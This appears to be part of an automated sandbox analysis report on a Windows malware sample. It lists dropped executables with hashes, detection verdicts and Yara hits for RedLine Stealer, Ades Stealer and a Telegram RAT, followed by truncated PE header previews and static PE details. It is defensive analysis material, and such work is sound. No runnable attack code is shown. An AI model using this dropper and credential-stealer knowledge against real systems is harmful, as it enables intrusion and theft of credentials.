Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\76BD.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........................&......P.P.. ... ....@.. .......................@\|.....".1...@.................................:...P.....z.............^1..............................................................................................text........ ...................... ..`.sdata....... ......................@... .....@......................@..@.reloc.......`......................@..@.idata... ..........................@...\| ..............................`..`.themida..G..@......................`....boot....d.. P..d..J..............`..`.rsrc........z......./.............@..@........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7DF2.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163328
Entropy (8bit):	6.730306069105935
Encrypted:	false
SSDEEP:	1536:5W/L9I51AKAk5PttwpMVMFkuOhGRVos9sVdwHhfmU6TQVniM5TOdOr2eBriobhOE:50+vAK36JF24Muhfm2JB5TOMa4gM
MD5:	B08DC3C44C7F8DBD008936EDA82C3A04
SHA1:	A04BB5073D6C87853785116CA8729420E4F3B26F
SHA-256:	143DC81353A871E1A3A5B364845316EDF8E1AA1058CA3CF07B958D9A598DD25B
SHA-512:	8B8821F0C225B80FF4D911F51F3500332D51711A31A05EC415000C55D39CF6774B2FD6A4917E6C0C00123339BB6F2A79C70AEB65BEF5AD28698876B5BC674D32
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......_.................R...`.......$.......p....@..........................p......................................P...O...0...<....................................q......................h....... ...@............p...............................text....P.......R.................. ..`.rdata...@...p...B...V..............@..@.data...8.......:..................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\85C3.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	439808
Entropy (8bit):	7.707384043504642
Encrypted:	false
SSDEEP:	6144:tTX91UZKZ9tf28dv9IWAlVsAjLzFsQqUJ7j2cnAxNEsvAHCrRjfx2:t7P8Af2+VFAjLzFsZGOHNECzj
MD5:	86D9744F028D3A67EC7AC52F3F8FFAEB
SHA1:	23705E183C0947B88D4BC94A83BA670905AF42F5
SHA-256:	3CCD5BEAF4EC42FA27E3BDCAC545236C90AAA03B6ADFE6B01777A13BD8709B1E
SHA-512:	61A968FCEF7E34E821E86441FC5486C9F9C943722EEC653061CA34943DF6FF962E866E33DF20FC535ABCB9E9D0EAD46E134B8D8E692DCE11568F35DEF60F9440
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L....._.................p...z.......$............@.................................PQ..............................0...U......<.......................................................... ..........@............................................text....o.......p.................. ..`.rdata...@.......B...t..............@..@.data...8.......:..................@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\876504d2-be03-42d9-b2f9-6ed891d3a9d2\ .dll Download File
Process:	C:\Users\user\AppData\Local\Temp\66AE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	145173
Entropy (8bit):	6.364932145314629
Encrypted:	false
SSDEEP:	3072:2vHGxvpTI1xUSnsEYVA+9yaJAUiXbNxqAmi3zGDm/8S:mmwWmrtPTj9jGq/8S
MD5:	E8641F344213CA05D8B5264B5F4E2DEE
SHA1:	96729E31F9B805800B2248FD22A4B53E226C8309
SHA-256:	85E82B9E9200E798E8F434459EACEE03ED9818CC6C9A513FE083E72D48884E24
SHA-512:	3130F32C100ECB97083AD8AC4C67863E9CEED3A9B06FC464D1AEEAEC389F74C8BF56F4CE04F6450FD2CC0FA861D085101C433CFA4BEC3095F8EBEEB53B739109
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=.6.\.e.\.e.\.e.%e.\.e.$.e.\.e.\.e.\.e..e.\.e...e.\.e..%e.\.e...e.\.e...e.\.e...e.\.eRich.\.e........................PE..d.....v\.........." .........0......P................................................9....@.............................................s.......x....@.......0...............P..........................................p.......................`....................text............................... ..`.rdata..............................@..@.data...X.... ......................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc...!...P...!..................`...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9a378694-488e-4b83-b03b-9635debd61af\ .dll Download File
Process:	C:\Users\user\AppData\Local\Temp\66AE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	145173
Entropy (8bit):	6.364932145314629
Encrypted:	false
SSDEEP:	3072:2vHGxvpTI1xUSnsEYVA+9yaJAUiXbNxqAmi3zGDm/8S:mmwWmrtPTj9jGq/8S
MD5:	E8641F344213CA05D8B5264B5F4E2DEE
SHA1:	96729E31F9B805800B2248FD22A4B53E226C8309
SHA-256:	85E82B9E9200E798E8F434459EACEE03ED9818CC6C9A513FE083E72D48884E24
SHA-512:	3130F32C100ECB97083AD8AC4C67863E9CEED3A9B06FC464D1AEEAEC389F74C8BF56F4CE04F6450FD2CC0FA861D085101C433CFA4BEC3095F8EBEEB53B739109
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=.6.\.e.\.e.\.e.%e.\.e.$.e.\.e.\.e.\.e..e.\.e...e.\.e..%e.\.e...e.\.e...e.\.e...e.\.eRich.\.e........................PE..d.....v\.........." .........0......P................................................9....@.............................................s.......x....@.......0...............P..........................................p.......................`....................text............................... ..`.rdata..............................@..@.data...X.... ......................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc...!...P...!..................`...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\66AE.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	244224
Entropy (8bit):	5.8601061927417755
Encrypted:	false
SSDEEP:	3072:T87INqXQOcwfGDQ8VlpJdoh5YMGYeW0wbYE6czZWJLyPeI/Kh73WmqcSCJLeKghY:vNqXQgfMkh5eWDbhj4uhxG
MD5:	0273F470F69E65F8DAF2D941A758E244
SHA1:	541EAED915315E04B004C547EF35D6AAB5E51EED
SHA-256:	C1D8695DD3BA81FB11577F050E032B5080716D69C61F410314221F5794C930BA
SHA-512:	789F2949545FE711A4C2FFF029B17E0F2EDEA0541B764991583F4CAC91FAADC207CE608887BF6B6F7AC92F680C32AA2A9E1E5D95B27706FBC603B062B1CDC842
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AdesStealer, Description: Yara detected Ades Stealer, Source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.............R.... ........@.. ....................... ............@.....................................O.......d........................................................................... ............... ..H............text...H.... ...................... ..`.rsrc...d...........................@..@.reloc..............................@..B................4.......H...........x...........,.................................................($....~....-.r...p.....(%...o&...s'........~.....~.............{...."..}.......($......0..F.......s(...%rU..po)....{.........(;...o)...ra..po)....\|....(...o)...&o+......0...........s,......o-...(.....0.............{......E............,.......8...D...+Q..{..........+M..{.......+A..{..........+2..{.......+&..{.......+...{..........+.re..ps....z.6..o....(......(........0..a.......s(...%.\|....

C:\Users\user\AppData\Local\Temp\CPU.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\66AE.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2287104
Entropy (8bit):	7.9977752835361775
Encrypted:	true
SSDEEP:	49152:IIEBBJy+EmKm3zjrYh4r/6Hn8q0C+1wP0CpEadgcoAEfj:IIsB883zjrYh4rNq0Cyk0Cp/dgc0fj
MD5:	CF09F5D2105F7FCAAAADFFF6E6060036
SHA1:	B825B5EBB20C2C39CE62CA73E7CEC4F82DF7578B
SHA-256:	33A236FD56543BF3915E16CFFFB3C6A4B0F92C9BA444744339E3BCC10F285D61
SHA-512:	C9799C258A93C8368EF37EFC05BA0A9CBA20AC4D204C3D75E01FA6A6596AF45C33791D47AFF7EAF71B185D988D2AA497CCD858128A49EC81AE2C06EBD6516D25
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...iC............"......."...".......".. ....@...... .......................@#...........@...................................................".W.....#.p.................... #...................................................... ............... ..H............text.....".. ...."................. ..`.rsrc...p.....#.......".............@..@.reloc....... #.......".............@..Bh.".............H.......T(...L..........d...._".................................................+..i...3:Q....U&...d.3.......]g\|4.M.gl..-....t..=...Z..S$.....J....3.s.FD.7$.. S....."{;.....?;......0..............(..................FU..........ZZ.......0..............(....l...................................(....B(R...(S...(=........(a.....(a...*.0..........(R...(S...r...p(E.............(x...oy...(....ob.............(x...oy....N...(x....oh.....tN...oY.............(x...oy....O

C:\Users\user\AppData\Local\Temp\GPU.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\66AE.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2172928
Entropy (8bit):	7.997590335514471
Encrypted:	true
SSDEEP:	49152:rU7FHeoayZsPQZG6P1iKcF6KQek1Kun51paGIHoocUWGMC:4eMZlsfarKunTpaHHoocUaC
MD5:	3E27316F8D7DC7DE827A3EFAF9C7EA12
SHA1:	F14E91AD1C5F71AC1C14B72E14EA85092BA49762
SHA-256:	D6DFF5118D406D4E4C9BA203AF253C4A6E5A18683E466A6D4109D75C7307554A
SHA-512:	9F2FA4220CA37B0B5177772885B3790F4650D2D924266A6D1ED9C31D35B3213236A97C70738B6BED7D9682859C1A5AD7A0AC6AFC34FA24E46F0FF8419BF4869D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...iC............".......!..$!.....&;!.. ....@...... ........................!...........@..................................................:!.W....@!......................`!...................................................... ............... ..H............text...8.!.. ....!................. ..`.rsrc........@!.......!.............@..@.reloc.......`!......&!.............@..B.;!.............H.......T(..\L..........4..... .................................................+..i...3:Q....U&...d.3.......]g\|4.M.gl..-....t..=...Z..S$.....J....3.s.FD.7$.. S....."{;.....?;......0..............(..................FU..........ZZ.......0..............(....l...................................(....B(R...(S...(=........(a.....(a...*.0..........(R...(S...r...p(E.............(x...oy...(....ob.............(x...oy....N...(x....oh.....tN...oY.............(x...oy....O

C:\Users\user\AppData\Local\Temp\nruqclie.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\7DF2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	12288:KYJfY4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4r4rX:KYJ
MD5:	A72E98B8678AA491EBB16159A8B8F5CF
SHA1:	E9ED792D89506F9204D9B93AB9AFF831240DC289
SHA-256:	63239A2E58A0263A49B632090CBEC88D6C52BCDA23D391E567D203CA9DB74805
SHA-512:	ADF3C9226984786502E6E78DB88407A81D5DB75B904766DDF236F0FBE1B11852A4C8C0CDC47D8BE3265104EE17ABDA3C8819676C02E56F95F3D393FE5D7816FF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......_.................R...`.......$.......p....@..........................p......................................P...O...0...<....................................q......................h....... ...@............p...............................text....P.......R.................. ..`.rdata...@...p...B...V..............@..@.data...8.......:..................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001YS (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11018295930046493
Encrypted:	false
SSDEEP:	12:26PXm/Ey6q9995Upnq3qQ10nMCldimE8eawHjcaG:26+l68SqLyMCldzE9BHjcaG
MD5:	B457BCF38C7C76C02EC9BCB7DD4F4452
SHA1:	DC13E3490AC0B671AD794DE573FBF5DB0467D8F0
SHA-256:	053079CFA936A5A2D7DBF5B5CFBE3EB2F3EA1CBA731618016889B170ED85A15B
SHA-512:	F8FB072BD815813AA60EFB32594B1815A072B28D71517FD3F3FA5E38E3A39839E5EE075D25F638482CA3323D0F4A3DDB2842AE5143635D01BEDCC7196F2B6C2A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................l..........A.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.............................................................+.0..... .....E...+...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.l..........A....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.1125575794399701
Encrypted:	false
SSDEEP:	12:pXm/Ey6q9995Utrx1miM3qQ10nMCldimE8eawHza1miIMAq:Ul68ux1tMLyMCldzE9BHza1tIMB
MD5:	389FAA436B2FC9B5A5F8FE6D96E6A203
SHA1:	3A9B94699A672C91358B0D3BB3B9A3CA4E2BCA8A
SHA-256:	AA08515A9C81706BBBFD10ACF0749C16CFC5386FDBADDBFDC0DB8BC64EA7E1E7
SHA-512:	EF2DEA312ADA68378F3FF1A68D7DAE95D07ECC4A93034B4CFC8A37A208498F4E302CC27EE1376BB46890C3BE1DF363F4189DC98D1D28B45EFB352DF458625F90
Malicious:	false
Reputation:	unknown
Preview:	................................................................................l.......^m.A.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.............................................................+.0..... .........+...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.l........x.A....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001`. (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11264048708225269
Encrypted:	false
SSDEEP:	12:47Xm/Ey6q9995Urx1mK2P3qQ10nMCldimE8eawHza1mKJ:7l680x1iPLyMCldzE9BHza1l
MD5:	76E1E1702BCB92DAE17BFB5FE43D91DF
SHA1:	346F52E020EDFE0455F71CB35E1674CE443D1AEB
SHA-256:	6675ACD24333E8FE13D1010AC1AD6ACBEC4C9F016BD8870F42265A62A8622C82
SHA-512:	9880B2A1F14000A411D6DC524736FAF5CD8B1A1FD4572F96EB3F3DA1FFB484DFD4DF9A403FFD25E373BE48C97C9E39D394F7032C6F4AE300746390030BAE6B72
Malicious:	false
Reputation:	unknown
Preview:	................................................................................l.......9J.A.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.............................................................+.0..... .....>..+...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.l........h.A....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\vbwhvvj Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	321226
Entropy (8bit):	7.999406464203527
Encrypted:	true
SSDEEP:	6144:J6ijeoFC4iMsSO0C3AAbGVEag/JYi6LUWLcUGT+trR45Ym0Ms16xrW6eNsz:zFgpuZC3A+LJf6gp+pRjPJ6X
MD5:	01C9F3D8AED717EC3D406511C754562E
SHA1:	97A21207E456F87A3AFE86DE91BDCBBC72A1AA7E
SHA-256:	1ACFE9DED5860D0A636110E495F00BF74EA73870D41615DA24906000217DEE46
SHA-512:	92D79F4F1CCB569AE2D22449D84B91B1710033223FA124851398F8A9B437913CB240937B41738299B144FB9AAA93D28CC0A0872BAD40BB7DCF3215688A924169
Malicious:	false
Reputation:	unknown
Preview:	...A..O..cY.p.....k...)$..9...>Be.}.....x.=.....2....x....1..2.g...SLE.N....a.Nc.....'hH.4I...Pr.e!c.`?Y........\|.NF.-.......#.<.=.0..&.'X...amro.........S......Bq...U.....P..YF..5.~F./.hD.R....Z.RY1......m..Q4...t..w..W..x....A..'R..Z.D..D....O.e....E.3.A.7...R..KE....+u....[Z..n..L...15CD.5...03...c..1:.;....8....1.a.Z.Qo..@q]..,..u..........K6?N.Y.Z....A...6_...L...~..>.......p$.RIIV..v..q.ia"..0..Y......F.RZ%}d1.b&...u.V.L...D.>F5.....]...\...i,5...2.....C..\5. .,6...i..az#.OARByP..L....p..1..9..g~......v.}>A.\|.,...w.....0.1..TM...G..W.R.6e...$......m......"..H.a..F..~..gK...c...#yo....p.k..+........4.....1.~..x.._.$AD.iI....JM.m`...\.....eV.rm....A1.,h.)....R....../..2.,9!.v...)aw.<........\C.F..8]_a0.....h.y......$.E9..3..E.:.R.....L...x.q.a.?V.Tn.....'.t..ll.Ut....UB.?..y4).C.t<....0.D?`...H.B..y.0.<...,.KI.N{A...u.i..]...:,oke..(A...e.s'..3...z..t.@...Y=..(xR"8....c...K...ryw...3JO...+... \|....**.b...V..;..

C:\Users\user\AppData\Roaming\wshgiwf Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	146944
Entropy (8bit):	6.533200018290773
Encrypted:	false
SSDEEP:	1536:K/3vPrEOZ99CkJL+8QhDul05Ac5HJx/6fLOlL/H0X5GZTiZuVnmKbBriobhO2Yp2:K/V9rL+8oJ5A+ifLORH0X5GxIuVFRgM
MD5:	82D057E1EB74021D270CEAD3BE27D9FB
SHA1:	B3C2F6D63488A1A0947A3572BEA950CFB5505DEE
SHA-256:	9DAD1F618E1EBF28E43F4AF049FEB9D75A03B139A63BDD1901F51497FD4ED50B
SHA-512:	384039756B61E7DAD9899D35BECA67D0121551F624309C9AF0D1220DA635247F1CD5509427D6A403EDDFC10625E07E1CFF77D5945DC85FB9D364C35B6645B8EE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...S..`.....................`.......$.......0....@..........................0......R...............................pp..P...0f..<....................................1......................hM...... M..@............0...............................text............................... ..`.rdata...@...0...B..................@..@.data...8.......:...X..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wshgiwf:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.533200018290773
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	t7p1ekMto0.exe
File size:	146944
MD5:	82d057e1eb74021d270cead3be27d9fb
SHA1:	b3c2f6d63488a1a0947a3572bea950cfb5505dee
SHA256:	9dad1f618e1ebf28e43f4af049feb9d75a03b139a63bdd1901f51497fd4ed50b
SHA512:	384039756b61e7dad9899d35beca67d0121551f624309c9af0d1220da635247f1cd5509427d6a403eddfc10625e07e1cff77d5945dc85fb9d364c35b6645b8ee
SSDEEP:	1536:K/3vPrEOZ99CkJL+8QhDul05Ac5HJx/6fLOlL/H0X5GZTiZuVnmKbBriobhO2Yp2:K/V9rL+8oJ5A+ifLORH0X5GxIuVFRgM
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...S..`...

File Icon


Icon Hash:	e0e0e8beb0e4c8ea

Static PE Info

General
Entrypoint:	0x40241d
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x600FCC53 [Tue Jan 26 08:01:23 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	162ff6c25457b1f40ac1c6c4d1ab5060

Entrypoint Preview

Instruction
call 00007F9288BF1210h
jmp 00007F9288BEDA3Dh
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F9288BEDBE6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F9288BEDC10h
test ecx, 00000003h
jne 00007F9288BEDBB1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F9288BEDBAAh
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F9288BEDBF4h
test ah, ah
je 00007F9288BEDBE6h
test eax, 00FF0000h
je 00007F9288BEDBD5h
test eax, FF000000h
je 00007F9288BEDBC4h
jmp 00007F9288BEDB8Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0041329Ch
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F9288BEDBCEh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x17070	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x16630	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28a8000	0xaaa0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x131f0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x14d68	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x14d20	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x13000	0x1b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11101	0x11200	False	0.813141537409	data	7.57809516146	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x13000	0x40c0	0x4200	False	0.282966382576	data	4.36063339526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x18000	0x288f238	0x3a00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x28a8000	0xaaa0	0xac00	False	0.620480559593	data	6.06816529474	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x28a8490	0x6c8	data
RT_ICON	0x28a8b58	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x28a90c0	0x25a8	data
RT_ICON	0x28ab668	0x468	GLS_BINARY_LSB_FIRST
RT_ICON	0x28abb10	0xea8	data
RT_ICON	0x28ac9b8	0x8a8	data
RT_ICON	0x28ad260	0x6c8	data
RT_ICON	0x28ad928	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x28ade90	0x25a8	data
RT_ICON	0x28b0438	0x10a8	data
RT_ICON	0x28b14e0	0x988	dBase III DBT, version number 0, next free block index 40
RT_ICON	0x28b1e68	0x468	GLS_BINARY_LSB_FIRST
RT_STRING	0x28b2560	0x1f4	data
RT_STRING	0x28b2758	0x342	data
RT_ACCELERATOR	0x28b2348	0x30	data
RT_GROUP_ICON	0x28abad0	0x3e	data
RT_GROUP_ICON	0x28b22d0	0x76	data
RT_VERSION	0x28b23a8	0x1b4	data
None	0x28b2388	0xa	data
None	0x28b2378	0xa	data
None	0x28b2398	0xa	data

Imports

DLL

Import

KERNEL32.dll

